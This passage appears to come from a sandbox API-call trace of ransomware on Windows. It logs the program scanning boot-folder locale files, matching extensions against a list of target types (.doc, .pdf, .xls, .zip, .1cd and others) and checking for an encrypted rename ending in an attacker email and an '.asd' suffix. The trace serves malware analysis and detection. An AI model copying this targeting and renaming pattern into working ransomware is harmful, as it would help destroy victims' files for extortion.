lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.756] lstrlenW (lpString=".1cd") returned 4 [0041.756] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.756] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.756] lstrlenW (lpString=".jpg") returned 4 [0041.756] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.756] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.756] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.756] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.756] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=89664) returned 1 [0041.757] CloseHandle (hObject=0x168) returned 1 [0041.757] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0041.757] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.757] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.757] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.757] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.757] lstrlenW (lpString=".doc") returned 4 [0041.757] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.757] lstrlenW (lpString=".docx") returned 5 [0041.757] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.757] lstrlenW (lpString=".pdf") returned 4 [0041.757] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.757] lstrlenW (lpString=".xls") returned 4 [0041.757] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.757] lstrlenW (lpString=".xlsx") returned 5 [0041.757] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.757] lstrlenW (lpString=".ppt") returned 4 [0041.757] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.757] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.757] lstrlenW (lpString=".zip") returned 4 [0041.757] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.757] lstrlenW (lpString=".rar") returned 4 [0041.757] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.757] lstrlenW (lpString=".bz2") returned 4 [0041.757] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.757] lstrlenW (lpString=".7z") returned 3 [0041.758] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString=".dbf") returned 4 [0041.758] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString=".1cd") returned 4 [0041.758] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString=".jpg") returned 4 [0041.758] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString=".doc") returned 4 [0041.758] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.758] lstrlenW (lpString=".docx") returned 5 [0041.758] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.758] lstrlenW (lpString=".pdf") returned 4 [0041.758] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.758] lstrlenW (lpString=".xls") returned 4 [0041.758] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.758] lstrlenW (lpString=".xlsx") returned 5 [0041.758] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.758] lstrlenW (lpString=".ppt") returned 4 [0041.758] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.758] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.758] lstrlenW (lpString=".zip") returned 4 [0041.758] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.758] lstrlenW (lpString=".rar") returned 4 [0041.758] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.758] lstrlenW (lpString=".bz2") returned 4 [0041.758] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.758] lstrlenW (lpString=".7z") returned 3 [0041.759] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.759] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.759] lstrlenW (lpString=".dbf") returned 4 [0041.759] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.759] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.759] lstrlenW (lpString=".1cd") returned 4 [0041.759] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.759] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.759] lstrlenW (lpString=".jpg") returned 4 [0041.759] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.759] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.759] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.759] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.759] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=90192) returned 1 [0041.759] CloseHandle (hObject=0x168) returned 1 [0041.759] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0041.759] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.759] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString=".doc") returned 4 [0041.760] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.760] lstrlenW (lpString=".docx") returned 5 [0041.760] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.760] lstrlenW (lpString=".pdf") returned 4 [0041.760] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.760] lstrlenW (lpString=".xls") returned 4 [0041.760] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.760] lstrlenW (lpString=".xlsx") returned 5 [0041.760] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.760] lstrlenW (lpString=".ppt") returned 4 [0041.760] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString=".zip") returned 4 [0041.760] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.760] lstrlenW (lpString=".rar") returned 4 [0041.760] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.760] lstrlenW (lpString=".bz2") returned 4 [0041.760] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.760] lstrlenW (lpString=".7z") returned 3 [0041.760] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString=".dbf") returned 4 [0041.760] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString=".1cd") returned 4 [0041.760] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.760] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.760] lstrlenW (lpString=".jpg") returned 4 [0041.760] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString=".doc") returned 4 [0041.761] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.761] lstrlenW (lpString=".docx") returned 5 [0041.761] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.761] lstrlenW (lpString=".pdf") returned 4 [0041.761] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.761] lstrlenW (lpString=".xls") returned 4 [0041.761] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.761] lstrlenW (lpString=".xlsx") returned 5 [0041.761] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.761] lstrlenW (lpString=".ppt") returned 4 [0041.761] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString=".zip") returned 4 [0041.761] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.761] lstrlenW (lpString=".rar") returned 4 [0041.761] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.761] lstrlenW (lpString=".bz2") returned 4 [0041.761] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.761] lstrlenW (lpString=".7z") returned 3 [0041.761] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString=".dbf") returned 4 [0041.761] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString=".1cd") returned 4 [0041.761] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.761] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.761] lstrlenW (lpString=".jpg") returned 4 [0041.761] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.762] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.762] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.762] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.762] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=87616) returned 1 [0041.762] CloseHandle (hObject=0x168) returned 1 [0041.762] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0041.762] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.762] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.762] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.762] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.762] lstrlenW (lpString=".doc") returned 4 [0041.762] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.762] lstrlenW (lpString=".docx") returned 5 [0041.762] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.762] lstrlenW (lpString=".pdf") returned 4 [0041.762] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString=".xls") returned 4 [0041.763] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString=".xlsx") returned 5 [0041.763] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.763] lstrlenW (lpString=".ppt") returned 4 [0041.763] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString=".zip") returned 4 [0041.763] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString=".rar") returned 4 [0041.763] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString=".bz2") returned 4 [0041.763] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.763] lstrlenW (lpString=".7z") returned 3 [0041.763] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString=".dbf") returned 4 [0041.763] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString=".1cd") returned 4 [0041.763] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString=".jpg") returned 4 [0041.763] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.763] lstrlenW (lpString=".doc") returned 4 [0041.763] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.763] lstrlenW (lpString=".docx") returned 5 [0041.763] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.763] lstrlenW (lpString=".pdf") returned 4 [0041.763] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.763] lstrlenW (lpString=".xls") returned 4 [0041.764] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.764] lstrlenW (lpString=".xlsx") returned 5 [0041.764] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.764] lstrlenW (lpString=".ppt") returned 4 [0041.764] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.764] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.764] lstrlenW (lpString=".zip") returned 4 [0041.764] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.764] lstrlenW (lpString=".rar") returned 4 [0041.764] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.764] lstrlenW (lpString=".bz2") returned 4 [0041.764] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.764] lstrlenW (lpString=".7z") returned 3 [0041.764] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.764] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.764] lstrlenW (lpString=".dbf") returned 4 [0041.764] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.764] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.764] lstrlenW (lpString=".1cd") returned 4 [0041.764] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.764] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.764] lstrlenW (lpString=".jpg") returned 4 [0041.764] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.764] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.764] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.764] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.765] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=87104) returned 1 [0041.765] CloseHandle (hObject=0x168) returned 1 [0041.765] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0041.765] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.765] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.765] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.765] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.765] lstrlenW (lpString=".doc") returned 4 [0041.765] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.765] lstrlenW (lpString=".docx") returned 5 [0041.765] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.765] lstrlenW (lpString=".pdf") returned 4 [0041.765] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.765] lstrlenW (lpString=".xls") returned 4 [0041.765] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.765] lstrlenW (lpString=".xlsx") returned 5 [0041.765] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.765] lstrlenW (lpString=".ppt") returned 4 [0041.765] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.765] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.765] lstrlenW (lpString=".zip") returned 4 [0041.765] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.765] lstrlenW (lpString=".rar") returned 4 [0041.766] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.766] lstrlenW (lpString=".bz2") returned 4 [0041.766] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.766] lstrlenW (lpString=".7z") returned 3 [0041.766] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString=".dbf") returned 4 [0041.766] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString=".1cd") returned 4 [0041.766] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString=".jpg") returned 4 [0041.766] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString=".doc") returned 4 [0041.766] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.766] lstrlenW (lpString=".docx") returned 5 [0041.766] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.766] lstrlenW (lpString=".pdf") returned 4 [0041.766] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.766] lstrlenW (lpString=".xls") returned 4 [0041.766] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.766] lstrlenW (lpString=".xlsx") returned 5 [0041.766] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.766] lstrlenW (lpString=".ppt") returned 4 [0041.766] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.766] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.766] lstrlenW (lpString=".zip") returned 4 [0041.767] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.767] lstrlenW (lpString=".rar") returned 4 [0041.767] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.767] lstrlenW (lpString=".bz2") returned 4 [0041.767] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.767] lstrlenW (lpString=".7z") returned 3 [0041.767] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.767] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.767] lstrlenW (lpString=".dbf") returned 4 [0041.767] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.767] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.767] lstrlenW (lpString=".1cd") returned 4 [0041.767] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.767] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.767] lstrlenW (lpString=".jpg") returned 4 [0041.767] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.767] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.767] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.767] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.768] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=70720) returned 1 [0041.768] CloseHandle (hObject=0x168) returned 1 [0041.768] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0041.768] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.768] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.768] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.768] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.768] lstrlenW (lpString=".doc") returned 4 [0041.768] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.768] lstrlenW (lpString=".docx") returned 5 [0041.768] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.768] lstrlenW (lpString=".pdf") returned 4 [0041.768] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.768] lstrlenW (lpString=".xls") returned 4 [0041.768] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.768] lstrlenW (lpString=".xlsx") returned 5 [0041.768] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.768] lstrlenW (lpString=".ppt") returned 4 [0041.768] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.768] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.768] lstrlenW (lpString=".zip") returned 4 [0041.768] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.768] lstrlenW (lpString=".rar") returned 4 [0041.768] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.768] lstrlenW (lpString=".bz2") returned 4 [0041.769] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.769] lstrlenW (lpString=".7z") returned 3 [0041.769] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.769] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.769] lstrlenW (lpString=".dbf") returned 4 [0041.769] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.769] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.769] lstrlenW (lpString=".1cd") returned 4 [0041.769] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.769] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.769] lstrlenW (lpString=".jpg") returned 4 [0041.769] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.769] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.769] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.769] lstrlenW (lpString=".doc") returned 4 [0041.769] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.769] lstrlenW (lpString=".docx") returned 5 [0041.769] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.769] lstrlenW (lpString=".pdf") returned 4 [0041.769] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.769] lstrlenW (lpString=".xls") returned 4 [0041.769] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.769] lstrlenW (lpString=".xlsx") returned 5 [0041.770] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.770] lstrlenW (lpString=".ppt") returned 4 [0041.770] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.770] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.770] lstrlenW (lpString=".zip") returned 4 [0041.770] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.770] lstrlenW (lpString=".rar") returned 4 [0041.770] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.770] lstrlenW (lpString=".bz2") returned 4 [0041.770] 